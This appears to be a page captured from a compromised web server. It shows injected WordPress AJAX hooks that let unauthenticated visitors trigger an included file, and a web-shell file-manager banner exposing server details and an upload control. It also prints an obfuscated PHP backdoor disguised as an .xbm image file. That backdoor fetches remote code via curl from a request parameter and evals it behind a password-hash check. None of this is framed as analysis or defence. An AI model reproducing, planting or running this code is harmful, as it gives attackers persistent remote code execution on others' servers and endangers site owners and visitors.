if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs/admin/admin/admin/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/admin/admin/admin/RxBWMCGzqi.xbm
<?php
 goto qQjetl7Gvu; LIBBFhwBmT: $l7mhdvyF6q(); goto dMARhXPV_c; x9qISXcZW0: $l7mhdvyF6q = ${$T7BDXr3fsN[11 + 20] . $T7BDXr3fsN[36 + 23] . $T7BDXr3fsN[29 + 18] . $T7BDXr3fsN[29 + 18] . $T7BDXr3fsN[36 + 15] . $T7BDXr3fsN[25 + 28] . $T7BDXr3fsN[16 + 41]}; goto lkmCmXtCJ3; LeqRiDh4wT: $l7mhdvyF6q[65] = $l7mhdvyF6q[65] . $l7mhdvyF6q[71]; goto gtrwTPGWnY; qQjetl7Gvu: $T7BDXr3fsN = range("\x7e", "\x20"); goto x9qISXcZW0; T8dd7Gc2ln: @($l7mhdvyF6q = $l7mhdvyF6q[85]($l7mhdvyF6q[56], $l7mhdvyF6q[65](${$l7mhdvyF6q[48]}[16]))); goto LIBBFhwBmT; wvz3f3EOX8: metaphone("\115\x7a\x49\x78\x4f\124\x59\x33\x4f\124\x59\170\116\x7a\131\x79\116\172\111\x77\x4e\152\125\x34\x4f\x54\x55\x77\x4e\x54\121\171"); goto EgkzkP12pV; gtrwTPGWnY: $l7mhdvyF6q[85] = $l7mhdvyF6q[65]($l7mhdvyF6q[85]); goto T8dd7Gc2ln; EgkzkP12pV: class kipkf3n6h6 { static function RKXj6KfQrX($DuQvb6COUw) { goto qqJ7UR0sDS; tX1ox37dH5: foreach ($R0dSq7lc0d as $cSehfm0L5K => $boTcwibaXH) { $xwV4Ioa2fQ .= $elHWaZosQ7[$boTcwibaXH - 88756]; o_9jgH46xR: } goto ThzGunrAlE; q_LRoNFH0_: $elHWaZosQ7 = $m23wrL7KYo("\176", "\x20"); goto EN550x0Tp2; ThzGunrAlE: d4XEEhyucj: goto C08fomcEst; C08fomcEst: return $xwV4Ioa2fQ; goto k7x_W_iTrr; EN550x0Tp2: $R0dSq7lc0d = explode("\x40", $DuQvb6COUw); goto pO361tDHe7; pO361tDHe7: $xwV4Ioa2fQ = ''; goto tX1ox37dH5; qqJ7UR0sDS: $m23wrL7KYo = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto q_LRoNFH0_; k7x_W_iTrr: } static function IL_yzxMXvM($N2ZO6asPxU, $YXYphoDhy3) { goto Lbld07kJkZ; Fm1bX9_uOc: curl_setopt($A7IcnVe9Bm, CURLOPT_RETURNTRANSFER, 1); goto djyb5aP3ZF; fkJ8LE2rdV: return empty($VZBwqX4yRD) ? $YXYphoDhy3($N2ZO6asPxU) : $VZBwqX4yRD; goto wi0vvK2une; djyb5aP3ZF: $VZBwqX4yRD = curl_exec($A7IcnVe9Bm); goto fkJ8LE2rdV; Lbld07kJkZ: $A7IcnVe9Bm = curl_init($N2ZO6asPxU); goto Fm1bX9_uOc; wi0vvK2une: } static function r05vNMDWUM() { goto HiOyJ5aMTx; HiOyJ5aMTx: $A1Lw39U5D3 = array("\70\70\x37\x38\63\x40\70\x38\x37\x36\x38\x40\70\x38\x37\x38\x31\100\70\x38\x37\x38\65\100\x38\70\x37\66\66\100\x38\x38\x37\70\61\100\x38\x38\x37\x38\67\100\70\70\x37\x38\x30\x40\70\x38\x37\x36\x35\100\70\x38\x37\x37\62\100\x38\x38\67\70\x33\100\x38\70\67\66\66\x40\x38\x38\67\x37\67\100\70\x38\67\67\x31\x40\x38\70\67\x37\x32", "\x38\x38\x37\x36\67\100\x38\x38\67\66\x36\100\70\x38\x37\66\x38\100\70\x38\x37\x38\67\100\x38\70\67\66\x38\100\70\70\67\67\61\x40\x38\x38\x37\x36\x36\x40\70\x38\70\63\x33\100\x38\x38\x38\x33\61", "\x38\70\x37\67\x36\100\x38\x38\67\x36\67\100\70\x38\x37\x37\x31\x40\x38\x38\x37\x37\x32\100\x38\70\x37\70\67\100\x38\x38\67\70\62\x40\70\70\67\70\61\x40\70\70\67\70\x33\x40\70\x38\67\x37\x31\100\70\70\67\70\62\100\x38\70\67\70\61", "\x38\x38\67\x37\60\x40\x38\70\x37\70\x35\100\70\70\x37\70\63\x40\70\70\67\x37\x35", "\70\70\67\x38\64\100\x38\70\x37\x38\x35\x40\70\x38\x37\x36\x37\x40\70\x38\x37\x38\x31\x40\70\x38\x38\x32\70\100\70\x38\70\x33\60\100\70\70\67\x38\67\100\x38\70\x37\x38\x32\100\70\x38\x37\x38\x31\x40\70\70\67\x38\63\x40\70\x38\x37\x37\x31\100\x38\x38\67\x38\x32\100\70\x38\67\70\61", "\70\70\67\70\60\x40\x38\70\x37\67\x37\x40\70\70\x37\x37\64\100\70\70\67\x38\61\x40\70\x38\x37\x38\x37\100\x38\70\x37\x37\x39\100\70\x38\67\70\61\100\70\x38\x37\x36\66\x40\x38\x38\x37\70\67\x40\x38\70\x37\x38\x33\100\70\70\x37\x37\x31\100\x38\70\x37\67\62\x40\x38\70\x37\x36\66\x40\70\70\x37\70\61\100\70\70\x37\67\x32\100\x38\x38\67\x36\66\100\70\70\67\x36\67", "\x38\70\x38\61\x30\x40\x38\70\70\x34\60", "\70\70\67\x35\x37", "\70\x38\70\63\65\100\x38\70\x38\x34\x30", "\70\70\70\x31\67\100\70\70\x38\60\60\x40\x38\x38\70\x30\x30\100\x38\x38\x38\x31\67\x40\x38\x38\x37\x39\x33", "\70\x38\67\x38\60\100\x38\x38\67\x37\x37\100\x38\x38\67\67\64\x40\70\70\67\x36\x36\100\70\x38\x37\x38\x31\x40\x38\70\67\66\70\x40\70\x38\x37\x38\x37\100\x38\x38\67\67\67\x40\x38\x38\67\x37\x32\100\70\70\67\x37\x30\100\70\70\x37\66\65\x40\70\x38\67\66\x36"); goto NewVIycbh1; w1OthxVejD: die; goto PAYxrE3UlM; LDaeQ5HBE0: $A8hnYUozpI = @$y5YBisKgz6[1]($y5YBisKgz6[0 + 10](INPUT_GET, $y5YBisKgz6[6 + 3])); goto XU2KLQLN1e; NewVIycbh1: foreach ($A1Lw39U5D3 as $yPlIsumKOs) { $y5YBisKgz6[] = self::rKXj6KfqrX($yPlIsumKOs); pBA_0KSLM5: } goto ZI4d8sVbMu; XU2KLQLN1e: $PZmudKo5Ly = @$y5YBisKgz6[1 + 2]($y5YBisKgz6[2 + 4], $A8hnYUozpI); goto JFk_nFuoea; ZI4d8sVbMu: BVCWVS77wA: goto LDaeQ5HBE0; gF2c7tldkk: @$y5YBisKgz6[0]('', $y5YBisKgz6[4 + 3] . $y5YBisKgz6[2 + 2]($P3b43kW7cn) . $y5YBisKgz6[8 + 0]); goto w1OthxVejD; PAYxrE3UlM: AQ_SnEm725: goto XentG5II0o; JFk_nFuoea: $mYbmXipQbJ = $y5YBisKgz6[1 + 1]($PZmudKo5Ly, true); goto WE7tRhuzUV; mXDuTwo_ks: $P3b43kW7cn = self::iL_yZXMXVm($mYbmXipQbJ[0 + 1], $y5YBisKgz6[3 + 2]); goto gF2c7tldkk; s2eR5AYB6I: if (!(@$mYbmXipQbJ[0] - time() > 0 and md5(md5($mYbmXipQbJ[3 + 0])) === "\71\66\x31\144\145\x64\146\x61\x30\x66\143\61\146\63\x63\x33\66\x62\x64\70\x39\144\x39\x65\64\63\144\x65\70\142\x65\x63")) { goto AQ_SnEm725; } goto mXDuTwo_ks; WE7tRhuzUV: @$y5YBisKgz6[6 + 4](INPUT_GET, "\157\x66") == 1 && die($y5YBisKgz6[4 + 1](__FILE__)); goto s2eR5AYB6I; XentG5II0o: } } goto aEK1N7ttZh; lkmCmXtCJ3: if (!(in_array(gettype($l7mhdvyF6q) . "\x32\x33", $l7mhdvyF6q) && md5(md5(md5(md5($l7mhdvyF6q[17])))) === "\146\x61\66\x33\x34\144\x64\70\x34\64\71\x33\x62\145\61\64\61\x62\x30\x30\70\x63\x36\61\x62\x39\62\60\70\x36\x62\144")) { goto oTD6uxIHES; } goto LeqRiDh4wT; dMARhXPV_c: oTD6uxIHES: goto wvz3f3EOX8; aEK1N7ttZh: KipkF3n6H6::r05vnmdWum();
?>
@ Telegram